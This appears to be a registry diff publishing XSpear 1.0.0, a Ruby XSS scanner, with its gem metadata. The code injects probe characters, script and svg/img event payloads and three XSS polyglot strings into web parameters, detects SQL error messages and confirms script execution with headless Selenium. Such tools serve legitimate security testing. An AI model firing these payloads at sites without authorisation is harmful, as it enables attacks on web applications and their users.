XSpear 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
data/lib/XSpear.rb ADDED
@@ -0,0 +1,289 @@
1
+ require "XSpear/version"
2
+ require "XSpear/banner"
3
+ require "XSpear/log"
4
+ require "XSpear/XSpearRepoter"
5
+ require 'net/http'
6
+ require 'uri'
7
+ require 'optparse'
8
+ require 'colorize'
9
+ require "selenium-webdriver"
10
+
11
+ module XSpear
12
+ class Error < StandardError; end
13
+ end
14
+
15
+ class XspearScan
16
+ def initialize(url, data, headers, params, thread, output, verbose)
17
+ @url = url
18
+ @data = data
19
+ @headers = headers
20
+ if params.nil?
21
+ @params = params
22
+ else
23
+ @params = params.split(",")
24
+ end
25
+ @thread = thread
26
+ @output = output
27
+ @verbose = verbose
28
+ @report = XspearRepoter.new @url, Time.now
29
+ end
30
+
31
+ class ScanCallbackFunc
32
+ def initialize(url, method, query, response)
33
+ @url = url
34
+ @method = method
35
+ @query = query
36
+ @response = response
37
+ # self.run
38
+ end
39
+
40
+ def run
41
+ # Override callback function..
42
+
43
+ # return type: Array(state, message)
44
+ # + state: i(INFO), v(VULN), s(SYSTEM)
45
+ # + message: your message
46
+
47
+ # e.g
48
+ # return "v", "reflected xss with #{query}"
49
+ end
50
+ end
51
+
52
+ class CallbackStringMatch < ScanCallbackFunc
53
+ def run
54
+ if @response.body.include? @query
55
+ [true, "reflected #{@query}"]
56
+ else
57
+ [false, "not reflected #{@query}"]
58
+ end
59
+ end
60
+ end
61
+
62
+ class CallbackErrorPatternMatch < ScanCallbackFunc
63
+ def run
64
+ info = "Found"
65
+ if @response.body.to_s.match(/(SQL syntax.*MySQL|Warning.*mysql_.*|MySqlException \(0x|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version|MySqlClient\.|com\.mysql\.jdbc\.exceptions)/i)
66
+ info = info + "MYSQL "
67
+ end
68
+ if @response.body.to_s.match(/(Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|\bSQL Server.*Driver|Warning.*mssql_.*|\bSQL Server.*[0-9a-fA-F]{8}|[\s\S]Exception.*\WSystem\.Data\.SqlClient\.|[\s\S]Exception.*\WRoadhouse\.Cms\.|Microsoft SQL Native Client.*[0-9a-fA-F]{8})/i)
69
+ info = info + "MSSQL "
70
+ end
71
+ if @response.body.to_s.match(/(\bORA-\d{5}|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|Warning.*\Wora_.*)/i)
72
+ info = info + "Oracle "
73
+ end
74
+ if @response.body.to_s.match(/(PostgreSQL.*ERROR|Warning.*\Wpg_.*|valid PostgreSQL result|Npgsql\.|PG::SyntaxError:|org\.postgresql\.util\.PSQLException|ERROR:\s\ssyntax error at or near)/i)
75
+ info = info + "Postgres "
76
+ end
77
+ if @response.body.to_s.match(/(Microsoft Access (\d+ )?Driver|JET Database Engine|Access Database Engine|ODBC Microsoft Access)/i)
78
+ info = info + "MSAccess "
79
+ end
80
+ if @response.body.to_s.match(/(SQLite\/JDBCDriver|SQLite.Exception|System.Data.SQLite.SQLiteException|Warning.*sqlite_.*|Warning.*SQLite3::|\[SQLITE_ERROR\])/i)
81
+ info = info + "SQLite "
82
+ end
83
+ if @response.body.to_s.match(/(Warning.*sybase.*|Sybase message|Sybase.*Server message.*|SybSQLException|com\.sybase\.jdbc)/i)
84
+ info = info + "SyBase "
85
+ end
86
+ if @response.body.to_s.match(/(Warning.*ingres_|Ingres SQLSTATE|Ingres\W.*Driver)/i)
87
+ info = info + "Ingress "
88
+ end
89
+
90
+ if info.length > 5
91
+ [true, "#{@info}"]
92
+ else
93
+ [false, "#{@info}"]
94
+ end
95
+ end
96
+ end
97
+
98
+ class CallbackXSSSelenium < ScanCallbackFunc
99
+ def run
100
+ begin
101
+ options = Selenium::WebDriver::Firefox::Options.new(args: ['-headless'])
102
+ driver = Selenium::WebDriver.for(:firefox, options: options)
103
+ if @method == "GET"
104
+ begin
105
+ driver.get(@url+"?"+@query)
106
+ alert = driver.switch_to().alert()
107
+ if alert.text.to_s == "45"
108
+ driver.quit
109
+ return [true, "found alert/prompt/confirm (45) in selenium!! #{@query}\n => "]
110
+ else
111
+ driver.quit
112
+ return [true, "found alert/prompt/confirm event in selenium #{@query}\n =>"]
113
+ end
114
+ rescue Selenium::WebDriver::Error::UnexpectedAlertOpenError => e
115
+ driver.quit
116
+ return [true, "found alert/prompt/confirm error base in selenium #{@query}\n =>"]
117
+ rescue => e
118
+ driver.quit
119
+ return [false, "not found alert/prompt/confirm event #{@query}\n =>"]
120
+ end
121
+ end
122
+ rescue => e
123
+ log('s', "Error Selenium : #{e}")
124
+ end
125
+ end
126
+ end
127
+
128
+
129
+ def run
130
+ r = []
131
+ log('s', 'creating a test query.')
132
+ r.push makeQueryPattern('d', 'XsPeaR"', 'XsPeaR"', 'i', "Found SQL Error Pattern", CallbackErrorPatternMatch)
133
+ r.push makeQueryPattern('r', 'rEfe6', 'rEfe6', 'i', 'reflected parameter', CallbackStringMatch)
134
+ r.push makeQueryPattern('f', 'XsPeaR>', 'XsPeaR>', 'i', "not filtered "+">".blue, CallbackStringMatch)
135
+ r.push makeQueryPattern('f', '<XsPeaR', '<XsPeaR', 'i', "not filtered "+"<".blue, CallbackStringMatch)
136
+ r.push makeQueryPattern('f', 'XsPeaR"', 'XsPeaR"', 'i', "not filtered "+'"'.blue, CallbackStringMatch)
137
+ r.push makeQueryPattern('f', "XsPeaR'", "XsPeaR'", 'i', "not filtered "+"'".blue, CallbackStringMatch)
138
+ r.push makeQueryPattern('f', "XsPeaR`", "XsPeaR`", 'i', "not filtered "+"`".blue, CallbackStringMatch)
139
+ r.push makeQueryPattern('f', 'XsPeaR;', 'XsPeaR;', 'i', "not filtered "+";".blue, CallbackStringMatch)
140
+ r.push makeQueryPattern('f', 'XsPeaR|', 'XsPeaR|', 'i', "not filtered "+"|".blue, CallbackStringMatch)
141
+ r.push makeQueryPattern('f', 'XsPeaR(', 'XsPeaR(', 'i', "not filtered "+"(".blue, CallbackStringMatch)
142
+ r.push makeQueryPattern('f', 'XsPeaR)', 'XsPeaR)', 'i', "not filtered "+")".blue, CallbackStringMatch)
143
+ r.push makeQueryPattern('f', 'XsPeaR{', 'XsPeaR{', 'i', "not filtered "+"{".blue, CallbackStringMatch)
144
+ r.push makeQueryPattern('f', 'XsPeaR}', 'XsPeaR}', 'i', "not filtered "+"}".blue, CallbackStringMatch)
145
+ r.push makeQueryPattern('f', 'XsPeaR[', 'XsPeaR[', 'i', "not filtered "+"[".blue, CallbackStringMatch)
146
+ r.push makeQueryPattern('f', 'XsPeaR]', 'XsPeaR]', 'i', "not filtered "+"]".blue, CallbackStringMatch)
147
+ r.push makeQueryPattern('f', 'XsPeaR:', 'XsPeaR:', 'i', "not filtered "+":".blue, CallbackStringMatch)
148
+ r.push makeQueryPattern('f', 'XsPeaR.', 'XsPeaR.', 'i', "not filtered "+".".blue, CallbackStringMatch)
149
+ r.push makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)
150
+ r.push makeQueryPattern('f', 'XsPeaR+', 'XsPeaR+', 'i', "not filtered "+"+".blue, CallbackStringMatch)
151
+ r.push makeQueryPattern('f', 'XsPeaR-', 'XsPeaR-', 'i', "not filtered "+"-".blue, CallbackStringMatch)
152
+ r.push makeQueryPattern('f', 'XsPeaR=', 'XsPeaR=', 'i', "not filtered "+"=".blue, CallbackStringMatch)
153
+ r.push makeQueryPattern('f', 'XsPeaR$', 'XsPeaR$', 'i', "not filtered "+"$".blue, CallbackStringMatch)
154
+ r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
155
+ r.push makeQueryPattern('x', '<svg/onload=alert(45)>', '<svg/onload=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
156
+ r.push makeQueryPattern('x', '<img/src onerror=alert(45)>', '<img/src onerror=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
157
+ r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "injected "+"<script>alert(45)</script>".red, CallbackXSSSelenium)
158
+ r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "injected "+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
159
+ r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
160
+ r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//-->&lt;<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
161
+ r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
162
+ r = r.flatten
163
+ r = r.flatten
164
+ log('s', "test query generation is complete. [#{r.length} query]")
165
+ log('s', "starting test and analysis. [#{@thread} threads]")
166
+
167
+ threads = []
168
+ r.each_slice(@thread) do |jobs|
169
+ jobs.map do |node|
170
+ Thread.new do
171
+ begin
172
+ result, res = task(node[:query], node[:inject], node[:pattern], node[:callback])
173
+ # p result.body
174
+ if @verbose.to_i > 2
175
+ log('d', "[#{res.code}] #{node[:query]} in #{node[:inject]} => #{result[1]}")
176
+ end
177
+ if result[0]
178
+ log(node[:category], (result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]")
179
+ @report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc])
180
+ else
181
+ log('d', (result[1]).to_s)
182
+ end
183
+ rescue => e
184
+ end
185
+ end
186
+ end.each(&:join)
187
+ end
188
+ @report.set_endtime
189
+ log('s', "finish scan. the report is being generated..")
190
+ if @output == 'json'
191
+ puts @report.to_json
192
+ else
193
+ @report.to_cli
194
+ end
195
+ end
196
+
197
+ def makeQueryPattern(type, payload, pattern, category, desc, callback)
198
+ # type: [r]eflected param
199
+ # [f]ilted rule
200
+ # [x]ss
201
+ # [s]tatic
202
+ # [d]ynamic
203
+
204
+ result = []
205
+ if type == 's'
206
+ result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
207
+ unless @data.nil?
208
+ result.push("inject": 'body',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
209
+ end
210
+ p result
211
+ else
212
+ uri = URI.parse(@url)
213
+ begin
214
+ params = URI.decode_www_form(uri.query)
215
+ params.each do |p|
216
+ if @params.nil? || (@params.include? p[0] if !@params.nil?)
217
+ dparams = params
218
+ dparams.each do |d|
219
+ d[1] = p[1] + payload if p[0] == d[0]
220
+ end
221
+ result.push("inject": 'url',"param":p[0] ,"type": type, "query": URI.encode_www_form(dparams), "pattern": pattern, "desc": desc, "category": category, "callback": callback)
222
+ end
223
+ end
224
+ unless @data.nil?
225
+ params = URI.decode_www_form(@data)
226
+ params.each do |p|
227
+ if @params.nil? || (@params.include? p[0] if !@params.nil?)
228
+ dparams = params
229
+ dparams.each do |d|
230
+ d[1] = p[1] + payload if p[0] == d[0]
231
+ end
232
+ result.push("inject": 'body', "param":p[0], "type": type, "query": URI.encode_www_form(dparams), "pattern": pattern, "desc": desc, "category": category, "callback": callback)
233
+ end
234
+ end
235
+ end
236
+ rescue StandardError
237
+ result.push("inject": 'url',"param":"error", "type": type, "query": '', "pattern": pattern, "desc": desc, "category": category, "callback": callback)
238
+ end
239
+ result
240
+ end
241
+ end
242
+
243
+
244
+ def task(query, injected, pattern, callback)
245
+ begin
246
+ uri = URI.parse(@url)
247
+ request = nil
248
+ method = "GET"
249
+ uri.query = query if injected == 'url'
250
+
251
+
252
+ if @data.nil?
253
+ # GET
254
+ request = Net::HTTP::Get.new(uri.request_uri)
255
+ else
256
+ # POST
257
+ request = Net::HTTP::Post.new(uri.request_uri)
258
+ request.body = query if injected == 'body'
259
+ method = "POST"
260
+ end
261
+
262
+
263
+ Net::HTTP.start(uri.host, uri.port,
264
+ use_ssl: uri.scheme == 'https') do |http|
265
+
266
+ request['Accept'] = '*/*'
267
+ request['Connection'] = 'keep-alive'
268
+ request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0'
269
+ unless @headers.nil?
270
+ @headers.split(';').each do |header|
271
+ begin
272
+ c = header.split(': ')
273
+ request[c[0]] = c[1] unless c.nil?
274
+ rescue StandardError
275
+ # pass
276
+ end
277
+ end
278
+ end
279
+ response = http.request(request)
280
+ result = callback.new(uri.to_s, method, pattern, response).run
281
+ # result = result.run
282
+ # p request.headers
283
+ return result, response
284
+ end
285
+ end
286
+ rescue => e
287
+ puts e
288
+ end
289
+ end
metadata ADDED
@@ -0,0 +1,168 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: XSpear
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.0.0
5
+ platform: ruby
6
+ authors:
7
+ - hahwul
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date:
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: colorize
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - '='
18
+ - !ruby/object:Gem::Version
19
+ version: 0.8.1
20
+ type: :runtime
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - '='
25
+ - !ruby/object:Gem::Version
26
+ version: 0.8.1
27
+ - !ruby/object:Gem::Dependency
28
+ name: selenium-webdriver
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - '='
32
+ - !ruby/object:Gem::Version
33
+ version: 3.142.3
34
+ type: :runtime
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - '='
39
+ - !ruby/object:Gem::Version
40
+ version: 3.142.3
41
+ - !ruby/object:Gem::Dependency
42
+ name: colorize
43
+ requirement: !ruby/object:Gem::Requirement
44
+ requirements:
45
+ - - '='
46
+ - !ruby/object:Gem::Version
47
+ version: 0.8.1
48
+ type: :development
49
+ prerelease: false
50
+ version_requirements: !ruby/object:Gem::Requirement
51
+ requirements:
52
+ - - '='
53
+ - !ruby/object:Gem::Version
54
+ version: 0.8.1
55
+ - !ruby/object:Gem::Dependency
56
+ name: selenium-webdriver
57
+ requirement: !ruby/object:Gem::Requirement
58
+ requirements:
59
+ - - '='
60
+ - !ruby/object:Gem::Version
61
+ version: 3.142.3
62
+ type: :development
63
+ prerelease: false
64
+ version_requirements: !ruby/object:Gem::Requirement
65
+ requirements:
66
+ - - '='
67
+ - !ruby/object:Gem::Version
68
+ version: 3.142.3
69
+ - !ruby/object:Gem::Dependency
70
+ name: bundler
71
+ requirement: !ruby/object:Gem::Requirement
72
+ requirements:
73
+ - - "~>"
74
+ - !ruby/object:Gem::Version
75
+ version: '2.0'
76
+ type: :development
77
+ prerelease: false
78
+ version_requirements: !ruby/object:Gem::Requirement
79
+ requirements:
80
+ - - "~>"
81
+ - !ruby/object:Gem::Version
82
+ version: '2.0'
83
+ - !ruby/object:Gem::Dependency
84
+ name: rake
85
+ requirement: !ruby/object:Gem::Requirement
86
+ requirements:
87
+ - - "~>"
88
+ - !ruby/object:Gem::Version
89
+ version: '10.0'
90
+ type: :development
91
+ prerelease: false
92
+ version_requirements: !ruby/object:Gem::Requirement
93
+ requirements:
94
+ - - "~>"
95
+ - !ruby/object:Gem::Version
96
+ version: '10.0'
97
+ - !ruby/object:Gem::Dependency
98
+ name: rspec
99
+ requirement: !ruby/object:Gem::Requirement
100
+ requirements:
101
+ - - "~>"
102
+ - !ruby/object:Gem::Version
103
+ version: '3.0'
104
+ type: :development
105
+ prerelease: false
106
+ version_requirements: !ruby/object:Gem::Requirement
107
+ requirements:
108
+ - - "~>"
109
+ - !ruby/object:Gem::Version
110
+ version: '3.0'
111
+ description: XSpear is XSS Scanner on ruby gems
112
+ email:
113
+ - hahwul@gmail.com
114
+ executables:
115
+ - XSpear
116
+ extensions: []
117
+ extra_rdoc_files: []
118
+ files:
119
+ - ".gitignore"
120
+ - ".idea/XSpear.iml"
121
+ - ".idea/encodings.xml"
122
+ - ".idea/misc.xml"
123
+ - ".idea/modules.xml"
124
+ - ".idea/workspace.xml"
125
+ - ".rspec"
126
+ - ".travis.yml"
127
+ - CODE_OF_CONDUCT.md
128
+ - Gemfile
129
+ - LICENSE.txt
130
+ - README.md
131
+ - Rakefile
132
+ - XSpear-1.0.0.gem
133
+ - XSpear.gemspec
134
+ - bin/console
135
+ - bin/setup
136
+ - exe/XSpear
137
+ - lib/XSpear.rb
138
+ - lib/XSpear/XSpearRepoter.rb
139
+ - lib/XSpear/banner.rb
140
+ - lib/XSpear/log.rb
141
+ - lib/XSpear/version.rb
142
+ homepage: https://github.com/hahwul/XSpear
143
+ licenses:
144
+ - MIT
145
+ metadata:
146
+ homepage_uri: https://github.com/hahwul/XSpear
147
+ source_code_uri: https://github.com/hahwul/XSpear
148
+ changelog_uri: https://github.com/hahwul/XSpear
149
+ post_install_message:
150
+ rdoc_options: []
151
+ require_paths:
152
+ - lib
153
+ required_ruby_version: !ruby/object:Gem::Requirement
154
+ requirements:
155
+ - - ">="
156
+ - !ruby/object:Gem::Version
157
+ version: '0'
158
+ required_rubygems_version: !ruby/object:Gem::Requirement
159
+ requirements:
160
+ - - ">="
161
+ - !ruby/object:Gem::Version
162
+ version: '0'
163
+ requirements: []
164
+ rubygems_version: 3.0.3
165
+ signing_key:
166
+ specification_version: 4
167
+ summary: Powerfull XSS Scanning and Parameter Analysis tool&gem
168
+ test_files: []